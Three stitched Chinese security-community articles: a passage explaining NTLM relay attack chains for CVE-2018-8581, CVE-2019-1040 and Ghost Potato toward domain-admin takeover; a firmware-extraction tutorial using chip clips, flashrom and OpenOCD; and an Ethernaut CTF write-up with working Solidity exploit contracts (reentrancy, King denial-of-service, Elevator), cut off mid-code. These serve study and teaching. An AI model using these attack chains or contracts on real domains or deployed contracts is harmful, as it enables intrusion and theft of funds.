协议的NTLM 请求。我们就能拿到Exchange机器用户的 Net-Ntlm Hash。如图中的步骤1，步骤2所示。
2. 拿到ntlm 请求之后要做什么
当我们拿到ntlm 请求的时候网上主要有两种利用思路。
(1) 思路1 访问任意用户的邮件
由于Exchange服务器还默认设置了以下注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LsaDisableLoopbackCheck =
1
也就是说我们可以将请求Relay 回机器本身。我们拿到的是机器用户的Net-Ntlm Hash。并不能直接用以登录。但是Exchange
机器用户可以获得TokenSerializationRight的”特权”会话，可以Relay 到
机子本身的Ews接口，然后可以使用SOAP请求头来冒充任何用户。
这个也是网上流传得比较广的一份[exp](https://github.com/WyAtu/CVE-2018-8581)的利用思路
(2) 思路2 获取域管权限
在上面文章的Relay2Ldap里面，我们简单得提了一下这个思路 。这里我们详细说下。
我们来做个测试
用户daiker 对域没有acl
这个时候进行Dcsync
权限不足,这个时候我们添加两条ACL
‘DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
验证一下
这个时候我们进行dcsync
成功，也就是说如果我们只要能够在域内添加两台ACL，这两条ACL的受托人就具备Dcsync的权限。
那什么样子的用户才能具备添加 ACL的权限呢。我们通过adfind 查下(下一个系列LDAP篇将紧紧围绕adfind和admod展开)。
我们发现Exchange Windows Permissions,Exchange Trusted Subsystem都具备Write-ACL的权限。
其实Exchange Trusted Subsystem是Exchange Windows Permissions 组内成员
Exchange Trusted Subsystem的成员包括Exchange机器用户
前面啰嗦了一大堆，现在来总结下获取域管权限的思路。
由于Exchange机器在Exchange Trusted Subsystem组里面，Exchange Trusted Subsystem对域有Write-ACL权限，Exchange机器用户自然而然具备Write-ACL权限，我们在拿到Exchange机器的http请求的时候，可以将请求Relay到Ldap,然后由于Exchange机器用户具备Write-ACL权限，我们在域内给添加两条acl，acl的受托人可以是任意用户，
‘DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
从而使该用户具备Dcsync的权限。然后dump 域管的hash进行pth，dump kebtgt的hash进行黄金票据，等等。
3. 服务端是否要求签名
我们Relay到的服务端是Ldap,前面咱们说过Ldap服务器的默认策略是协商签名。而不是强制签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。在这个漏洞里面发起的请求是http协议，http协议是不要求进行签名，这也就意味着我们什么都不用做，在这个漏洞中并不要求签名。
最后梳理一下8581第二种思路(获取域管权限)的打法:
这里面
攻击者:172.16.228.1
Exchange:172.16.228.133
域控:172.16.228.135
1. 使用impacket监听端口进行等待连接
2. 发起推送订阅指定所需的URL，Exchange. 服务器将尝试向这个URL发送通知
3. Relay 到域控的Ldap 服务器并给普通用户daiker添加两条acl
4. daiker进行Dcync
### 5\. CVE-2019-1040
该洞最早在于攻击者可以利用该漏洞可绕过NTLM MIC的防护机制。很经典的一次NTLM_RELAY
。相信如果从windows内网协议学习从第一篇文章追踪过来的，对每个利用环节都无比熟悉。本篇文章要做的内容就是把这些漏洞利用点给串起来。跟CVE-2018-8581一样，我们主要关注一下三个方面，将思路串起来。
1. 怎么发起ntlm请求
这里利用到打印机漏洞，在[Windows内网协议学习NTLM篇之发起NTLM请求](https://www.anquanke.com/post/id/193493#h2-20),我们有简单提到这个问题，这个也不算漏洞，微软官方认为是正常业务，也不给出补丁。微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用，其中RemoteFindFirstPrinterChangeNotificationEx这个函数运行传进一个unc路径，打印机服务就会去请求该unc路径。由于打印机是以system权限运行的，所以我们访问打印机rpc，迫使打印机服务向我们发起请求拿到的net-ntlm hash是机器用户hash。这个地方有两个利用点。一个是攻击Exchange
机器，迫使Exchange机器用户向我们发起请求，另外一个就是攻击域管机器，迫使域管机器用户向我们发起请求。
2. 拿到ntlm 请求之后要做什么
考虑到都是机器用户发起的请求，机器用户并不能直接登录。因此不考虑Relay
到smb。我们考虑Relay到Ldap。当是Exchange机器用户发起的请求时，我们可以跟CVE-2018-8581，由于Exchange机器用户在Exchange
Trusted Subsystem组，Exchange Trusted Subsystem 有write-acl权限，可以给任意用户添加
Dcsync权限，这里不再赘述。
我们考虑另外一种情况，当发起者是域管用户的时候，这个时候别看是域管机器，但是权限真的并不高。首先，他并不在域管组里面。其次，他能控制的acl也并不多。在
[Windows内网协议学习NTLM篇之Net-NTLM利用](https://www.anquanke.com/post/id/194069#h3-7)里面我们介绍了三种通用的漏洞利用思路，前两种在这种情况下，在这里并不适用，在server2012r2，我们可以通过设置基于资源的约束委派。在域管机器属性msDS-AllowedToActOnBehalfOfOtherIdentity里面添加一条ace,可以让任何机器用户和服务用户可以控制该用户(NTLM发起者)，虽然不能直接登录，但是因为该机器是域管机器，我们可以进行dcync。
3. 服务端是否要求签名
我们Relay到的服务端是Ldap,前面咱们说过Ldap服务器的默认策略是协商签名。而不是强制签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。不像CVE-2018-8581，发起的协议是HTTP协议，通过打印机漏洞，发起的请求是Smb协议的请求，这也意味着我们客户端默认是要求签名的。这也是这个漏洞的核心所在。前面的思路，在[Wagging
the Dog: Abusing Resource-Based Constrained Delegation to Attack Active
Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)里面就已经提到了，作者在文章里面提及。
这个标识用于协商服务端是否进行签名，因为发起者是smb协议，默认这个标志位(即NTLMSSPNEGOTIATEALWAYSSIGN和NTLMSSPNEGOTIATE_SIGN)为1，服务端会选择进行签名，但是当我们修改数据包将Flag位置为0的话，微软又设计了一套MIC校验。就是下图这个。它使用带有会话密钥的HMAC-MD5保护所有三个NTLM消息的完整性。如果更改了NTLM消息的Flag位，则MIC将无效并且身份验证将失败。
有另外一个地方指示是否存在MIC(标志0x2表示该消息包括MIC)。如下图所示，我们称为msvAvFlag
但是msvAvFlag 在targetInfo里面。
由于在计算Reponse的时候，该targetInfo参与Reponse的计算。(关于Response计算的更多细节可以此参考[Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149#h2-8))
改变了msvAvFlag值，targetInfo的值随之发生那改变，生成的Reponse在检验的时候肯定会出错，NetNTLM响应将无效并且身份验证将失败。这个时候原文的作者也没有办法了。
但是前面已经说过了，该洞最早在于攻击者可以利用该漏洞可绕过NTLM MIC的防护机制。因此这个漏洞最核心的地方在于绕过了MIC的校验。
最新的绕过将NEGOTIATEKEYEXCHANGE和NEGOTIATE_VERSION位置为0，就不再检验MIC了。不像msvAvFlag那样参与Reponse的运算，因此置为0之后不仅不会校验mic，也不会使得Reponse校验出错。
所以这一步，需要将4个Flag
位(TLMSSPNEGOTIATEALWAYSSIGN，NTLMSSPNEGOTIATESIGN，NEGOTIATEKEYEXCHANGE，NEGOTIATEVERSION)置0。
最后梳理一下1040的打法:
这里面
攻击者:172.16.99.2
域控2012:172.16.99.12
域控2016:172.16.99.16
1. 使用impacket监听445进行等待域控进行连接
2. 使用打印机漏洞让域控连接我们的445(注意攻击的域控跟回连的LDAP所在的服务器不要在同一台域控)
3. Relay 到域控dc2016的Ldap 服务器并添加基于资源的约束委派
4. 发起win7$到dc2012的s4u，通过-impersonate参数模拟用户administrator的票证
5. 使用administrator用户的票据登录域控。
### 6\. CVE-2019-1384
Ghost potato
这个漏洞绕过了MS08-068之后，用户不能relay回本机的限制。先来回顾下MS08-068是怎么防止Relay的。
主机A向主机B(访问\\\B)进行SMB认证的时候，将pszTargetName设置为cifs/B,然后在type
2拿到主机B发送Challenge之后，在lsass里面缓存(Challenge,cifs/B)。
然后主机B在拿到主机A的type 3之后，会去lsass里面有没有缓存(Challenge,cifs/b)，如果存在缓存，那么认证失败。
这种情况底下，如果主机B和主机A是不同的主机的话，那lsass里面就不会缓存(Challenge,cifs/B)。如果是同一台主机的话，那lsass里面肯定有缓存，这个时候就会认证失败。
然而这个缓存(Challenge,cifs/B)是有时效性的，这个时间是300秒，也就是说300秒后，缓存(Challenge,cifs/B)就会被清空，这个时候即使主机A和主机B是同一台主机，那么由于缓存已经被清除，那么去lsass里面肯定找不到缓存(Challenge,cifs/B)。
漏洞利用图如下所示。
shenaniganslabs也放出漏洞利用[poc](https://shenaniganslabs.io/files/impacket-ghostpotato.zip)。基于impacket进行修改。只实现的收到http协议的情况。其他协议大家可以自己实现。主要核心代码如下所示。会在sleep
315秒之后再发送type3。
poc的运行如下。
受害者机子的ip是172.16.228.134,攻击者IP是172.16.228.1
1. 在172.16.228.1开启端口等待172.16.228.134的ntlm请求(作者的poc只支持http)
2. 172.16.228.134向172.16.228.1发起http请求(为什么不用ip，请看前面的文章)
3. 172.16.228.1将来自172.16.228.134的请求Relay回172.16.228.134本身的smb，exp的实现效果是在172.16.228.134启动目录上传个文件
## 0x03 引用
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [Ghost Potato](https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html) | 社区文章 |
# 免拆芯片提取固件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 免拆芯片提取固件
近期做项目，使用芯片夹对 MCU
固件进行了免拆提取。客户很感兴趣，会后负责人特意找到我，想我给他发点相关的资料学习一下。本以为网上很多，搜索了一下都不是很满意，大多讲的固件提取的方式，即没有基础知识介绍，也没有详细的操作步骤。既然没有就自己动手吧，于是便有今天的这篇文章。
为什么要免拆提取呢，直接用热风枪吹下来，用 Flash
编程器读取，它不香吗。免拆，一是懒，吹下来之后还要焊上去，对动手能力要求要高一些；二是，像我们在外面做项目，也不一定有热风枪、电烙铁什么的，出差不可能随声带上吧（下面放一张我出差携带的部分装备）。还有一点，有些情况客户是不允许拆芯片的。
另外还有一点，多数资料都是将如何从 Flash 中提取固件，很少讲怎么从 MCU 中提取固件。下面会介绍一些知识，然后分别演示如何从 Flash 和 MCU
免拆提取固件。
## 基础知识
### 芯片封装与针脚定义
使用芯片夹可以实现 SOP、QFP 封装等 **针脚外露** 的芯片免拆固件提取，而对 QFN、BGA 等封装方式则无能无力。
* SOP8/16
* SOP(Small Out-Line Package,小外形封装) 针脚从封装两侧引出呈海鸥翼状(L 字形)，一般用于针脚不太多的芯片上 。SOP8/16 封装的 Flash 在路由器、摄像头等 IOT 设备厂较为常见。针脚有8根或16根，且一个角上有小圆点（每个芯片都有一个小圆点，小圆点所在的位置是第一针脚,然后逆时针排布第二针脚,第三针脚等）,型号代码一般是24或25开头。SOP8/16 SPI Flash 一般的针脚定义如下。
引脚 | 定义
---|---
/CS | 片选
DO | 数据输出
/WP | 写保护
GND | 电源地
VCC | 电源正极
/HOLD | 输入保持
/RESET | 复位
CLK | 时钟
DI | 数据输入
* QFP
* QFP(Plastic Quad Flat Package，方型扁平式封装技术）针脚从四个侧面引出呈海鸥翼(L)型。实现的芯片针脚之间距离很小，管脚很细，一般大规模或超大规模集成电路采用这种封装形式，其针脚数一般都在64以上。在小型IOT设备中可作为主控或协处理器。下图中的芯片就是采用 QFP 封装。
此类封装由于针脚数不固定，没有统一标准，一般由厂商自行定义，引脚定义详见芯片手册。
* GBABGA(Ball Grid Array Package,球栅阵列封装) 封装的 I/O 端子以圆形或柱状焊点按阵列形式分布在封装下面，具有更小的体积，更好的散热性能和电性能。由于 I/O 端子在 **封装下方** ，提取固件则需要使用`BGA返修台`拆卸下来读取， **不能实现免拆提取** 。BGA 封装一般用于 CPU 和大容量存储。此类封装同 QFP 封装的芯片一样，引脚定义需看看相应的芯片手册。
### 芯片夹
一般使用的夹子有三种。第一种是`SOP8/16脚测夹`，常用于 SPI 闪存的固件提取；第二种是`芯片通用测试夹测试钩子`,常用于SOP QFP
封装芯片的固件提取或协议分析；第三种是`ECU 探针`，多用于汽车 ECU 固件提取。
* SOP8/16脚测夹
`SOP8/16脚测夹`适用于 SOP8 以及 SOP16 封装的芯片。
* 芯片通用测试夹测试钩子
`芯片通用测试夹测试钩子`此类钩子淘宝上有好几种在售。下图的这种，只适用于芯片针脚较少的芯片，如采用 SOP8
封装的芯片。勾式是单钩钩取，扁式是双钩夹取。这种的价格相对便宜一些。
下面这种夹子更细，能够用在有更多更细的针脚芯片上，如 QFP 封装的 MCU。这类夹子较上面的这种要贵一些。
这类夹子都比较小，当需要夹连续的针脚时有一定的困难，需要反复尝试。另外由于没有支撑，可能刚夹上就被弹开了，这种情况就可以用`ECU 探针`来连接。
* ECU 探针
`ECU
探针`常用于汽车行业，是动力调教等玩车搞车一族的必备单品。当然其他的芯片也可以用它来进行固件提取。这类由于带有支架，使用是只需要把探针搭在对应的芯片针脚上。
## 从 Flash 中提取固件
免拆读取 Flash，一般读取 SOP8 封装的 SPI Flash较多，使用`SOP8/16脚测夹`较为方便。提取所需的软硬件如下。
* 软件
* flashrom: [flashrom](https://flashrom.org/) 是一个开源的跨平台的烧录工具, 提供了不少的芯片支持和编程器支持. 用于识别、 读取、写入、 验证和擦除各种 Flash 芯片。
* 硬件
* 测试夹：SOP8/16脚测夹，上文有详细介绍。
* 编程器：CH341A 编程器/树莓派/CJMCU FT232H等(任选一)
这里我用树莓派做演示，之前用过 CH341A 编程器 提取的速度比较慢，建议使用树莓派或 FT232H 等调试器。
1. 安装flashrom使用 apt 直接安装。
sudo apt-get intall flashrom
2. 启用树莓派的 SPI使用树莓派的配置命令`rasp_config`，依次选择 “Interfacing Options” -> SPI -> YES 启动树莓派的 SPI 接口。
3. 加载 SPI 模块要使用树莓派的 SPI 接口还需要加载 spi_bcm2835 与 spidev 模块。
pi[@raspberrypi](https://github.com/raspberrypi "@raspberrypi"):~ $ sudo modprobe spi_bcm2835
pi[@raspberrypi](https://github.com/raspberrypi "@raspberrypi"):~ $ sudo modprobe spidev
4. 接线首先找到板子上的 Flash，然后找到 Flash 的 datasheet 中对引脚的定义与树莓派的引脚定义，根据 flashrom 上给出的使用说明进行连接，如下图。
树莓派引脚 | SPI Flash 引脚
---|---
25 | GND
24 | /CS
23 | SCK
21 | DO
19 | DI
17 | VCC 3.3V (+ /HOLD, /WP)
一般情况下 SPI Flash 的 VCC、/HOLD、/WP 都需要连接树莓派的 3.3V 的 VCC 上。
按照上表进行接线，连接好的效果图如下。使用编程器、调试器等设备时接线也类似。
1. 提取接好线后，使用 flashrom 提取固件。`-p` 选项指定使用的设备类型，这里使用了树莓派的 spi 接口，并设定读写速度；`-r` 选项指定读取后保存的路径；从文件中写回 flash 所用到的选项为 `-w`。如下成功提取固件并保存到了当前目录的 w25q_rasp.bin 文件中了。
pi[@raspberrypi](https://github.com/raspberrypi "@raspberrypi"):~ $ flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r w25q_rasp.bin
flashrom on Linux 4.19.57-v7+ (armv7l)
flashrom is free software, get the source code at https://flashrom.org
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25Q128.V" (16384 kB, SPI) on linux_spi.
Reading flash... done.
## 从 MCU 中提取固件
从 Flash 中提取固件较为常见，但有些情况下固件被没有存储在外置的 Flash 上，而是在 MCU 的内置 Flash
中。这时需要通过调试接口（SWD/JTAG等）对固件进行提取，也可以进行动态调试。
对 MCU 上固件进行提取，首先需要根据芯片手册，找到调试接口。有些情况下，调试接口可能会引出。下图是我曾经研究过的一款智能设备，板子上引出 SWD
调试接口。
但随着硬件厂商对安全的重视，MCU 调试接口被引出的情况越来越少。但遇到这种情况时，可以尝试直接操作芯片针脚。下面演示使用芯片测试夹从 MCU
中提取内置固件。提取所需的软硬件如下。
* 硬件
* 测试夹：芯片通用测试夹测试钩子。
* FT232H：多功能 USB to JTAG SWD/UART/FIFO SPI/I2C 模块。也可以使用 JLink、STLink 等调试器。
* 软件
* OpenOCD: [OpenOCD](https://github.com/ntfreak/openocd)（Open On-Chip Debugger)是一个开源的片上调试器，旨在提供针对嵌入式设备的调试、系统编程和边界扫描功能，可以与 GDB 配合进行动态调试。
以下以某 IOT 设备 MCU (STM32f030 RCT6) 为例使用测试夹通过 OpenOCD 提取固件。`STM32f030 RCT6`采用 QFP
64 封装。
1. OpenOCD 安装与简单使用使用 apt 直接安装。
sudo apt-get install openocd
有特殊需求时，也可以进行源码安装。部分芯片厂商对 OpenOCD 进行了适配，如新唐的 [OpenOCD-Nuvoton](https://github.com/OpenNuvoton/OpenOCD-Nuvoton)。
OpenOCD 运行需要两个配置文件，第一个是调试器的配置文件，第二个是目标芯片的配置文件。
openocd -f interface/ft232h-module-swd.cfg -f target/stm32f0x.cfg
OpenOCD 运行之后，使用 telnet 连接本地的 4444 端口与芯片进行交互。连接后，输入 help
查看支持的命令，不同的芯片支持的命令有所不同。一般而言提取固件使用 `dump_image`命令。
GDB 动态调试监听见本地的 3333 端口，进入GDB 后通过 `target remote localhost:3333`连接。
2. 连线根据芯片丝印 `STM32f030 RCT6`下载相应的[芯片手册](https://www.st.com/resource/en/datasheet/stm32f030f4.pdf)。在手册中找到调试接口，此芯片采用 SWD 进行调试。`STM32f030 RCT6`有 64 个针脚，对应下图 46 号针脚 SWDIO，49 号针脚 SWCLK，63 号针脚 VSS，7 号针脚 RESET。然后，使用已连接杜邦线的测试夹连接SWD 接口，依次为 7 号针脚（RESET）、 46 号针脚（SWDIO）、 49 号针脚（SWCLK）、 63 号针脚（VSS） ，连接之后如下图。
然后，按下图连接 FT232H。注意 AD2(DO) 需要串联一个电阻，然后与 AD1(DI) 合并组成 SWDIO。
最后将 FT232H 通过 USB 接口连接电脑。上面的忘记拍全景图了，放张读取其他的芯片的作为参考。连接好的效果图类似下图。
1. 查看芯片手册找到固件所在位置根据芯片手册的内存映射（如上图） dump固件。固件地址在 0x0000 0000 – 0x2000 0000 中，0x0000 0000 – 0x0004 0000 为 Flash Memory/System Memory/SRAW depending on BOOT configuration、0x0804 0000 – 0x0800 0000 为 Flash memory、0x1FFF xx00 – 0x1FFF FFFF 为 System memory等。
* System Memory: 从系统存储器启动，这种模式启动的程序功能是由厂家设置的。一般来说，这种启动方式用的比较少。系统存储器是芯片内部一块特定的区域，STM32 在出厂时，由 ST 在这个区域内部预置了一段 BootLoader， 也就是我们常说的 ISP 程序， 这是一块 ROM，出厂后无法修改。一般来说，我们选用这种启动模式时，是为了从串口下载程序，因为在厂家提供的 BootLoader 中，提供了串口下载程序的固件，可以通过这个 BootLoader 将程序下载到系统的 Flash 中。
* Flash Memory：是 STM32 内置的 Flash，一般我们使用 JTAG 或者 SWD 模式下载程序时，就是下载到这个里面，重启后也直接从这启动程序。
* SRAW：内置 SRAM，既然是 SRAM，自然也就没有程序存储的能力了，这个模式一般用于程序调试。假如我只修改了代码中一个小小的地方，然后就需要重新擦除整个 Flash，比较的费时，可以考虑从这个模式启动代码（也就是 STM32 的内存中），用于快速的程序调试。
由上可知，固件在 Flash Memory 中，起始地址为 0x8000000 ，大小为 x40000。
2. 提取固件首先运行 OpenOCD，连接成功的输出如下。
root[@kali](https://github.com/kali "@kali"):/usr/share/openocd/scripts# openocd -f interface/ft232h-module-swd.cfg -f target/stm32f0x.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
adapter speed: 1000 kHz
Info : FTDI SWD mode enabled
swd
adapter speed: 1000 kHz
adapter_nsrst_delay: 100
none separate
cortex_m reset_config sysresetreq
Info : clock speed 1000 kHz
Info : SWD DPIDR 0x0bb11477
Info : stm32f0x.cpu: hardware has 4 breakpoints, 2 watchpoints
Polling target stm32f0x.cpu failed, trying to reexamine
in procedure 'stm32f0x_default_examine_end'
in procedure 'mmw' called at file "target/stm32f0x.cfg", line 65
in procedure 'mrw' called at file "mem_helper.tcl", line 25
at file "mem_helper.tcl", line 6
然后使用 telnet 连接 locahsot:4444 端口 dump 固件。首先输入命令 `halt` 中断代码执行，然后使用`dump_image
导出固件的文件名 起始地址 导出的数据长度` 导出固件。固件的起始地址和大小，我们在上一步已经获取到了。使用命令`dump_image flash.bin
0x8000000 0x40000`提取固件。
root[@kali](https://github.com/kali "@kali"):~# telnet 127.0.0.1 4444
> halt
target halted due to debug-request, current mode: Thread
xPSR: 0x21000000 pc: 0x0801a8de msp: 0x20007990
> flash list
{name stm32f1x base 134217728 size 0 bus_width 0 chip_width 0}
> dump_image flash.bin 0x8000000 0x40000
dumped 262144 bytes in 3.812859s (67.141 KiB/s)
然而，并不是每一个 QFP 封装的 MCU 都能够免拆提取出固件 ，现在不少芯片开启了`代码读取保护（CRP/RDP）`。CRP
这一机制就是为了防止固件被提取而设计的。下图是 STM32L151 手册中关于代码读保护的介绍。
另一方面，此方法可以应用在 IOT 安全测试中，用于验证 CRP 是否开启。
另外，使用 `ECU 探针`读取固件方式与使用`芯片通用测试夹测试钩子`类似。唯一的差异是探针是搭在针脚上，而不是夹在针脚上。
以上我是近两年对 IOT 设备硬件的一些粗浅认识，有什么不当之处，还请大佬们不吝赐教。
## 参考
* [40种芯片封装类型介绍（含实图） ](https://www.sohu.com/a/162899707_609521)
* [openocd](https://github.com/ntfreak/openocd)
* [STM32 Read-out protection via OpenOCD](https://stackoverflow.com/questions/32509747/stm32-read-out-protection-via-openocd) | 社区文章 |
### 前言
这里继续接着"Ethernaut闯关录(上)"中的闯关模式继续对剩下的关卡进行闯关。
### 闯关斩将
#### King
##### 闯关要求
合同代表一个非常简单的游戏：谁给它发送了比当前奖金还大的数量的以太，就成为新的国王。在这样的事件中，被推翻的国王获得了新的奖金，但是如果你提交的话那么合约就会回退，让level重新成为国王，而我们的目标就是阻止这一情况的发生。
##### 合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
##### 合约分析
从上面的代码中可以看到当国王被推翻时国王将会获得奖金，那么只要国王拒绝接受奖金就可以一直是国王。
通过上面的代码分析，我们可以部署以下攻击合约,当原智能合约有新的king诞生时会向我们的合约退还之前的奖金，但是攻击合约不接收，直接revert()那么就可以永远占据合约的king不放：
pragma solidity ^0.4.18;
contract attack{
function attack(address _addr) public payable{
_addr.call.gas(10000000).value(msg.value)();
}
function () public {
revert();
}
}
##### 攻击流程
点击“Get new Instance”来获取一个实例：
之后先来查看一下prize值以及合约的king、合约的地址
之后我们在remix中编译并部署攻击合约：
合约部署地址：
之后再次查看king，发现已经变成了我们攻击合约的地址：
之后我们点击“submit instance”来提交该实例：
之后成功过关，当我们查看king时发现依旧是我们的攻击合约的地址：
#### Re-entrancy
##### 闯关要求
盗取合约中的所有代币。
##### 合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
##### 合约分析
从上面的源代码可以确定这里应该为以太坊里的重入攻击，这也是之前The DAO事件里黑客所用到的攻击。
在这里我们重点来看withdraw函数，我们可以看到它接收了一个_amount参数，将其与发送者的balance进行比较，不超过发送者的balance就将这些_amount发送给sender，同时我们注意到这里它用来发送ether的函数是call.value,发送完成后，它才在下面更新了sender的balances，这里就是可重入攻击的关键所在了，因为该函数在发送ether后才更新余额，所以我们可以想办法让它卡在call.value这里不断给我们发送ether，同样利用的是我们熟悉的fallback函数来实现。
当然，这里还有另外一个关键的地方——call.value函数特性，当我们使用call.value()来调用代码时，执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行，对应的，如果我们使用transfer和send函数来发送时，代码可用的gas仅有2300而已，这点gas可能仅仅只够捕获一个event，所以也将无法进行可重入攻击，因为send本来就是transfer的底层实现，所以他两性质也差不多。
根据上面的简易分析，我们可以编写一下EXP代码：
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
##### 攻击流程
点击“Get new Instance”来获取一个实例：
之后获取instance合约的地址
之后在remix中部署攻击合约
我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查：
contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})
这样就成功给我们的攻击合约的balance增加了1
ether，这里的sendTransaction跟web3标准下的用法是一样的，这时你再使用getbalance去看合约拥有的eth就会发现变成了2，说明它本来上面存了1个eth，然后我们返回攻击合约运行attack函数就可以完成攻击了:
查看balance,在交易前后的变化：
最后点击“submit instance”来提交示例即可：
#### Elevator
##### 闯关条件
这个电梯似乎并不会让你到达顶层，所以我们的闯关条件就是绕过这一限制
##### 合约代码
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
##### 合约分析
在合约的开头处有一个Building接口，定义了isLastFloor函数，返回值是bool，应该是用来返回这一楼层是否为最顶层，在接口里没有函数是已实现的，类似于抽象合约，可以理解为它仅仅用来提供一个标准，这样继承于它的合约就可以遵照它的标准来进行交互，而接口内的函数在其调用合约内定义即可。
之后在下面的主合约里，定义了一个bool型的top变量，在goto函数里对传入的_floor变量进行了判断，从逻辑上我们发现判断的条件里如果isLastFloor返回false，通过if后再将isLastFloor的返回值赋给top，这样的话我们的top还是个false，而这里我们要想让top的值变为true，那么我们得想个办法在isLastFloor上动动手脚，由于goTo函数调用了两次isLastFloor，因此我们可以将该函数构造为取反函数即可：
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract BuildingEXP{
Elevator ele;
bool t = true;
function isLastFloor(uint) view public returns (bool) {
t = !t;
return t;
}
function attack(address _addr) public{
ele = Elevator(_addr);
ele.goTo(5);
}
}
##### 攻击流程
点击"Get new Instance"来获取一个实例：
之后获取合约的地址和当前top的值：
之后在remix中部署合约：
之后调用attack来实施攻击，并且将合约地址进行传参：
之后查看top值发现已经变为了true：
之后点击“submit instance”来提交示例：
#### Privacy
##### 闯关条件
将locked成为false
##### 合约代码
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
##### 合约分析
根据solidity 文档中的变量存储原则,evm每一次处理32个字节,而不足32字节的变量相互共享并补齐32字节。 那么我们简单分析下题目中的变量：
bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;
第一个32
字节就是由locked、flattening、denomination、awkwardness组成，另外由于常量(constant)是无需存储的，所以从第二个32
字节开始就是 data。 因此只需要将第四个存储槽内容取出即可。
取出语句为：web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
##### 攻击流程
点击“Get new instance”来获取一个实例：
之后将第四个存储槽内容取出，并将前16字节内容由于unlock：
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
之后查看locked的状态，已变为“flase”
之后点击“submit instance”来提交该实例：
#### Gatekeeper One
##### 闯关条件
绕过三个函数修饰器的限制。
##### 合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
